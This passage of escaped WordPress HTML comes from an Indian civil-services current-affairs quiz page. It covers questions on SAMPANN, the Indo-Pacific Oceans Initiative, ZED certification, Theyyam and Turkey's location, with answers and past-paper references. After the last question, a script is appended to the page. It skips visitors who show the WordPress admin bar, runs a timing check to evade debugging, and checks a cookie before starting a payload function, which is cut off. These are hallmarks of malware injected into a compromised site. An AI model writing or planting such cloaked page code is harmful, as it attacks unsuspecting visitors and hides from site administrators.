Communication Accounts (CGCA)<\/strong>. <strong>Hence statement 2 is incorrect.<\/strong><\/li>\n\n\n\n<li>SAMPANN was <strong>dedicated to the nation on 29 December 2018<\/strong> by the <strong>Prime Minister of India<\/strong>.<\/li>\n\n\n\n<li>It aims to shift from <strong>system-centric administration<\/strong> to <strong>pensioner-centric governance<\/strong>.<\/li>\n\n\n\n<li>SAMPANN digitises the <strong>entire pension lifecycle<\/strong>, from initiation of pension cases to <strong>disbursement, accounting, reconciliation, audit, and grievance redressal<\/strong>. <strong>Hence statement 1 is correct.<\/strong><\/li>\n\n\n\n<li>Under SAMPANN, <strong>Pension Payment Orders are issued electronically (e-PPOs)<\/strong>.<\/li>\n\n\n\n<li>Pension payments under SAMPANN are <strong>credited directly to pensioners\u2019 bank accounts<\/strong>, eliminating the need to visit banks or government offices.<\/li>\n\n\n\n<li>Pensioners can <strong>submit life certificates online<\/strong> and <strong>track pension payment status<\/strong> through the SAMPANN portal.<\/li>\n\n\n\n<li>The platform allows pensioners to <strong>update personal details<\/strong> such as mobile number and address digitally.<\/li>\n\n\n\n<li>SAMPANN includes <strong>online grievance redressal mechanisms<\/strong> and is supported by <strong>toll-free helplines<\/strong> for pensioners.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-text-color has-background has-link-color\" style=\"background-color:#96eef9\"><tbody><tr><td><strong>PYQ REFERENCE: (2016)<\/strong> <br><br><strong>Q. Regarding \u2018Atal Pension Yojana\u2019, which of the following statements is\/are correct?<\/strong> <br><br>1. It is a minimum guaranteed pension scheme mainly targeted at unorganized sector workers. <br>2. Only one member of a family can join the scheme. <br>3. The same amount of pension is guaranteed for the spouse for life after the subscriber&#8217;s death. <br><br><strong>Select the correct answer using the code given below.<\/strong> <br><br>(a) 1 only <br>(b) 2 and 3 only <br><strong>(c) 1 and 3 only<\/strong> <br>(d) 1, 2 and 3<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-102 wp-block-paragraph\" style=\"color:#0f30ec\"><strong>Source: <\/strong><a href=\"https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2216904&amp;reg=3&amp;lang=1\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2216904&amp;reg=3&amp;lang=1<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-103 wp-block-paragraph\"><strong>7. Consider the following countries:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-104 wp-block-paragraph\">1. Australia<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-105 wp-block-paragraph\">2. Japan<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-106 wp-block-paragraph\">3. France<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-107 wp-block-paragraph\">4. Indonesia<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-108 wp-block-paragraph\"><strong>How many of the above countries are the partners of the Indo-Pacific Oceans Initiative?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-109 wp-block-paragraph\">(a) Only one<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-110 wp-block-paragraph\">(b) Only two<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-111 wp-block-paragraph\">(c) Only three<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-112 wp-block-paragraph\">(d) All four<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-113 wp-block-paragraph\"><strong>Answer: (d) All four<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-114 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-115 wp-block-paragraph\"><strong>In NEWS: <\/strong>India welcomes Spain joining Indo-Pacific Oceans Initiative<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-116 wp-block-paragraph\"><strong>Indo-Pacific Oceans Initiative (IPOI):<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-117\">\n<li>The <strong>Indo-Pacific Oceans Initiative (IPOI)<\/strong> was <strong>launched by India in 2019<\/strong>.<\/li>\n\n\n\n<li>It was announced at the <strong>East Asia Summit (EAS)<\/strong>.<\/li>\n\n\n\n<li>IPOI builds upon India\u2019s <strong>SAGAR vision<\/strong> (<em>Security and Growth for All in the Region<\/em>).<\/li>\n\n\n\n<li>It seeks to promote a <strong>free, open, inclusive, and rules-based Indo-Pacific<\/strong>.<\/li>\n\n\n\n<li>The initiative is <strong>non-military in nature<\/strong> and focuses on <strong>cooperative, practical outcomes<\/strong>.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-118 wp-block-paragraph\"><strong>Core Pillars of IPOI<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-119 wp-block-paragraph\">IPOI is structured around <strong>seven thematic pillars<\/strong>:<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-120 wp-block-paragraph\"><strong>1. Maritime Security<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-121 wp-block-paragraph\"><strong>2. Maritime Ecology<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-122 wp-block-paragraph\"><strong>3. Maritime Resources<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-123 wp-block-paragraph\"><strong>4. Capacity Building &amp; Resource Sharing<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-124 wp-block-paragraph\"><strong>5. Disaster Risk Reduction<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-125 wp-block-paragraph\"><strong>6. Science, Technology &amp; Academic Cooperation<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-126 wp-block-paragraph\"><strong>7. Trade, Connectivity &amp; Maritime Transport<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-127\">\n<li>Each pillar is <strong>voluntary<\/strong> and can be led by <strong>different partner countries<\/strong>.<\/li>\n\n\n\n<li>Countries like <strong>Australia, Japan, France, Indonesia<\/strong>, and others have partnered with India under different pillars. <strong>Hence all are correct.<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-128 wp-block-paragraph\"><strong>Significance<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-129\">\n<li>Strengthens <strong>maritime cooperation<\/strong> in the Indo-Pacific.<\/li>\n\n\n\n<li>Enhances <strong>blue economy<\/strong> and <strong>marine sustainability<\/strong>.<\/li>\n\n\n\n<li>Reinforces <strong>ASEAN centrality<\/strong> in the regional architecture.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-text-color has-background has-link-color\" style=\"background-color:#d6dee6f2\"><tbody><tr><td><strong>PYQ REFERENCE: (2018)<\/strong> <strong>Q. Consider the following countries:<\/strong> 1. Australia 2. Canada 3. China 4. India 5. Japan 6. USA <strong>Which of the above are among the &#8216;free-trade partners&#8217; of ASEAN?<\/strong> (a) 1, 2, 4 and 5 (b) 3, 4, 5 and 6 <strong>(c) 1, 3, 4 and 5<\/strong> (d) 2, 3, 4 and 6<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-130 wp-block-paragraph\" style=\"color:#0f30ec\"><strong>Source: <\/strong><a href=\"https:\/\/www.newsonair.gov.in\/india-welcomes-spain-joining-indo-pacific-oceans-initiative\/\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.newsonair.gov.in\/india-welcomes-spain-joining-indo-pacific-oceans-initiative\/<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-131 wp-block-paragraph\"><strong>8. Consider the following statements with respect to Zero Defect Zero Effect (ZED):<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-132 wp-block-paragraph\">I. The scheme enables MSMEs towards achievement of high quality and high productivity with the least effect on the environment.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-133 wp-block-paragraph\">II. Under the scheme, Certification can be attained in five Levels after registering and taking the ZED Pledge.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-134 wp-block-paragraph\">III. The Ministry of MSME reserves the right to visit &amp; inspect any MSME after Certification, which has availed any subsidy, benefit or incentives under this Scheme.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-135 wp-block-paragraph\"><strong>Which of the statements given above are correct?&nbsp;&nbsp;<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-136 wp-block-paragraph\">(a) I and Il only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-137 wp-block-paragraph\">(b) II and III only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-138 wp-block-paragraph\">(c) I and III only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-139 wp-block-paragraph\">(d) I, II and III<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-140 wp-block-paragraph\"><strong>Answer: (c) I and III only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-141 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-142 wp-block-paragraph\"><strong>In NEWS: Made-in-India products should offer top quality, says PM<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-143 wp-block-paragraph\"><strong>Zero Defect Zero Effect (ZED):<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-144\">\n<li>Zero Defect Zero Effect (ZED) is an Indian government initiative launched to enhance the quality and environmental sustainability of MSME manufacturing.<\/li>\n\n\n\n<li>It aims to eliminate defects (zero defect) and minimize negative ecological impact (zero effect), thereby boosting competitiveness and reducing wastage.<\/li>\n\n\n\n<li>MSME Sustainable (ZED) Certification can be attained in THREE Levels after registering and taking the ZED Pledge:<ul><li>Certification Level 1: BRONZE<\/li><\/ul><ul><li>Certification Level 2: SILVER<\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li>Certification Level 3: GOLD <strong>Hence statement II is incorrect.<\/strong><\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>Up to 75% financial support on certification costs, with specific benefits for women-led MSMEs and those in specific regions is provided.<\/li>\n\n\n\n<li>The Ministry of MSME reserves the right to visit &amp; inspect any MSME after Certification, which has availed any subsidy, benefit or incentives under this Scheme. <strong>Hence statement III is correct.<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-145 wp-block-paragraph\"><strong>The ZED Certification envisages promotion of Zero Defect Zero Effect (ZED) practices amongst MSMEs so as to:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-146\">\n<li>Encourage and enable MSMEs for manufacturing of quality products using latest technology, tools &amp; to constantly upgrade their processes for achievement of high quality and high productivity with the least effect on the environment. <strong>Hence statement I is correct.<\/strong><\/li>\n\n\n\n<li>Develop an Ecosystem for ZED Manufacturing in MSMEs, for enhancing competitiveness and enabling exports<\/li>\n\n\n\n<li>Promote adoption of ZED practices and recognising the efforts of successful MSMEs<\/li>\n\n\n\n<li>Encourage MSMEs to achieve higher ZED Certification levels through graded incentives<\/li>\n\n\n\n<li>Increase public awareness on demanding Zero Defect and Zero Effect products through the MSME Sustainable (ZED) Certification<\/li>\n\n\n\n<li>Identify areas to improve upon, thereby assisting the Government in policy decisions and investment prioritization<\/li>\n<\/ul>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-147 wp-block-paragraph\" style=\"color:#0f30ec\"><strong>Source:<\/strong><a href=\"https:\/\/www.thehindu.com\/news\/national\/pm-modi-130th-mann-ki-baat-on-january-25-2026\/article70549004.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/news\/national\/pm-modi-130th-mann-ki-baat-on-january-25-2026\/article70549004.ece<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-148 wp-block-paragraph\" style=\"color:#0f30ec\"><a href=\"https:\/\/zed.msme.gov.in\/introduction\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/zed.msme.gov.in\/introduction<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-149 wp-block-paragraph\"><a><\/a><strong>9. Theyyam, a ritual art form characterised by elaborate headgear and the belief that the performer embodies the deity, is primarily the art form of which among the following states?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-150 wp-block-paragraph\">(a) Southern Tamil Nadu<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-151 wp-block-paragraph\">(b) Northern Kerala<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-152 wp-block-paragraph\">(b) Coastal Karnataka<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-153 wp-block-paragraph\">(d) Andhra Pradesh<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-154 wp-block-paragraph\"><strong>Answer: (b) Northern Kerala<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-155 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-156 wp-block-paragraph\"><strong>In NEWS: <\/strong>Theyyam, a ritual art form of northern Kerala, during an event in Bengaluru on Thursday<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-157 wp-block-paragraph\"><strong>Theyyam:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-158\">\n<li><strong>Theyyam<\/strong> is a <strong>ritualistic art form<\/strong> practiced in <strong>northern Kerala<\/strong>, especially in <strong>Kannur, Kasaragod, Kozhikode, and Wayanad<\/strong> districts. <strong>Hence option (b) is correct.<\/strong><\/li>\n\n\n\n<li>The term <em>Theyyam<\/em> is derived from <strong>\u201cDaivam\u201d<\/strong>, meaning <strong>God<\/strong>.<\/li>\n\n\n\n<li>It is a <strong>living tradition of ancestor and hero worship<\/strong>, combining <strong>dance, music, mime, and ritual<\/strong>.<\/li>\n\n\n\n<li>Performers are believed to <strong>embody the deity<\/strong> during the ritual.<\/li>\n\n\n\n<li>Traditionally performed by <strong>Dalit and lower-caste communities<\/strong>, such as <strong>Malayan, Vannan, and Velan<\/strong>.<\/li>\n\n\n\n<li>Performed in <strong>sacred groves (Kavu)<\/strong>, temples, or ancestral houses.<\/li>\n\n\n\n<li>The performances usually take place between <strong>October and May<\/strong>.<\/li>\n\n\n\n<li>Distinctive features include:<ul><li><strong>Elaborate facial makeup<\/strong><\/li><\/ul><ul><li><strong>Towering headgear (Mudi)<\/strong><\/li><\/ul><ul><li><strong>Vivid costumes<\/strong><\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li>Use of <strong>traditional percussion instruments<\/strong> like <em>Chenda<\/em> and <em>Elathalam<\/em>.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>Theyyam is <strong>not merely a dance<\/strong> but a <strong>socio-religious institution<\/strong>, reflecting local history, ecology, and social order.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"813\" height=\"546\" src=\"https:\/\/iasquest.com\/wp-content\/uploads\/2026\/01\/image.png\" alt=\"\" class=\"wp-image-2826\" srcset=\"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2026\/01\/image.png 813w, https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2026\/01\/image-300x201.png 300w, https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2026\/01\/image-768x516.png 768w\" sizes=\"auto, (max-width: 813px) 100vw, 813px\" \/><\/figure>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"814\" height=\"493\" src=\"https:\/\/iasquest.com\/wp-content\/uploads\/2026\/01\/image-1.png\" alt=\"\" class=\"wp-image-2827\" srcset=\"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2026\/01\/image-1.png 814w, https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2026\/01\/image-1-300x182.png 300w, https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2026\/01\/image-1-768x465.png 768w\" sizes=\"auto, (max-width: 814px) 100vw, 814px\" \/><\/figure>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-text-color has-background has-link-color\" style=\"background-color:#aff0d8\"><tbody><tr><td><strong>PYQ REFERENCE: (2018)<\/strong> <br><br><strong>Q. Consider the following pairs of Tradition vs State:<\/strong> 1<br>. Chapchar Kut festival\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 : Mizoram <br>2. Khongjom Parba ballad\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 : Manipur<br> 3. Thang-Ta dance\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0: Sikkim <br><br><strong>Which of the pairs given above is\/are correct ?<\/strong> <br><br>(a) 1 only <br><strong>(b) 1 and 2<\/strong> <br>(c) 3 only <br>(d) 2 and 3<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-159 wp-block-paragraph\" style=\"color:#0f30ec\"><strong>Source:<\/strong><a href=\"https:\/\/epaper.thehindu.com\/ccidist-ws\/th\/th_international\/issues\/167397\/OPS\/G7VFFLHCD.1+G6CFFPC29.1.html\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/epaper.thehindu.com\/ccidist-ws\/th\/th_international\/issues\/167397\/OPS\/G7VFFLHCD.1+G6CFFPC29.1.html<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-160 wp-block-paragraph\"><strong>10. Turkey is located between<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-161 wp-block-paragraph\">(a) Black Sea and Caspian Sea<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-162 wp-block-paragraph\">(b) Black Sea and Mediterranean Sea<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-163 wp-block-paragraph\">(c) Gulf of Suez and Mediterranean Sea<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-164 wp-block-paragraph\">(d) Gulf of Aqaba and Dead Sea<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-165 wp-block-paragraph\"><strong>Answer: (b) Black Sea and Mediterranean Sea<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"737\" height=\"585\" src=\"https:\/\/iasquest.com\/wp-content\/uploads\/2026\/01\/image-2.png\" alt=\"\" class=\"wp-image-2828\" srcset=\"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2026\/01\/image-2.png 737w, https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2026\/01\/image-2-300x238.png 300w\" sizes=\"auto, (max-width: 737px) 100vw, 737px\" \/><\/figure>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-166 wp-block-paragraph\"><strong>Hence option (b) is correct.<\/strong><\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var 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